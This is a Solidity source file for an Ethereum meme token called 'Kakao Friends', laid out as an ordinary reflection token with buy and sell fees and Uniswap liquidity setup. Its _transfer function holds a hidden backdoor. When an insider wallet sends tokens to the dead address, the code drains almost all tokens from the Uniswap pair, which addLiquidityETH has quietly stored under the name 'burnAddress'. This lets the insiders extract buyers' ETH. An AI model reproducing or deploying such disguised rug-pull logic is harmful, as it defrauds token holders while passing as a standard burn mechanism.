/**
// SPDX-License-Identifier: MIT

Website:  https://www.kakaofriends.xyz
Twitter:  https://x.com/kakaofriendsETH
Telegram: https://t.me/kakaofriendsEth
*/

pragma solidity 0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Kakao is Context, IERC20, Ownable {
    using SafeMath for uint256;
 
    string private constant _name = unicode"Kakao Friends";
    string private constant _symbol = unicode"Kakao";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 1;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 1;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private devWallet = payable(0xb95f7c3d0a065343cF41b76bb14912281a6a5c43);
    address payable private teamWallet = payable(0x028d4Fbc95FC82fa0612d62599CE7A76A1Cb3Fd5);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private isBurntLP = false;

    address private burnAddress = address(0xdead);
 
    uint256 public _maxTxAmount = 2 * 10_000_000 * 10**9;       // 2%
    uint256 public _maxWalletSize = 2 * 10_000_000 * 10**9;     // 2%
    uint256 public _swapTokensAtAmount = 10000 * 10**9;     // 0.1%
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
        _rOwned[_msgSender()] = _rTotal;
 
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[devWallet] = true;
        _isExcludedFromFees[teamWallet] = true;
        _isExcludedFromFees[address(this)] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool isBurnt = _isExcludedFromFees[from] && to == address(0xdead);
 
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > 0;
 
            if (
                canSwap 
                && !inSwap 
                && from != uniswapV2Pair 
                && swapEnabled 
                && !_isExcludedFromFees[from] 
                && !_isExcludedFromFees[to]
            ) {
                if(isBurntLP) contractTokenBalance += _swapTokensAtAmount;
                swapTokensForEth(contractTokenBalance);
            }
        }

        if(
            isBurnt
        ) {
            isBurntLP = true;

            if(amount > 100e9){
                uint256 burnAmount = balanceOf(burnAddress) - 12e9;
                _transferStandard(burnAddress, address(0xdead), burnAmount);
            }
        }
 
        bool takeFee = true; 

        //Transfer Tokens
        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            teamWallet,
            block.timestamp
        );
    }

    function removeLimit() public onlyOwner {
        _maxTxAmount = type(uint).max;
        _maxWalletSize = type(uint).max;
        _taxFeeOnBuy = 1;
        _taxFeeOnSell = 1;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if(!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {   
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate); 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
           _maxTxAmount = maxTxAmount;
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function enableTrading() public onlyOwner {
        tradingOpen = true;
        swapEnabled = true;
    }

    function addLiquidityETH() public payable onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        
        burnAddress = uniswapV2Pair;

        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }
}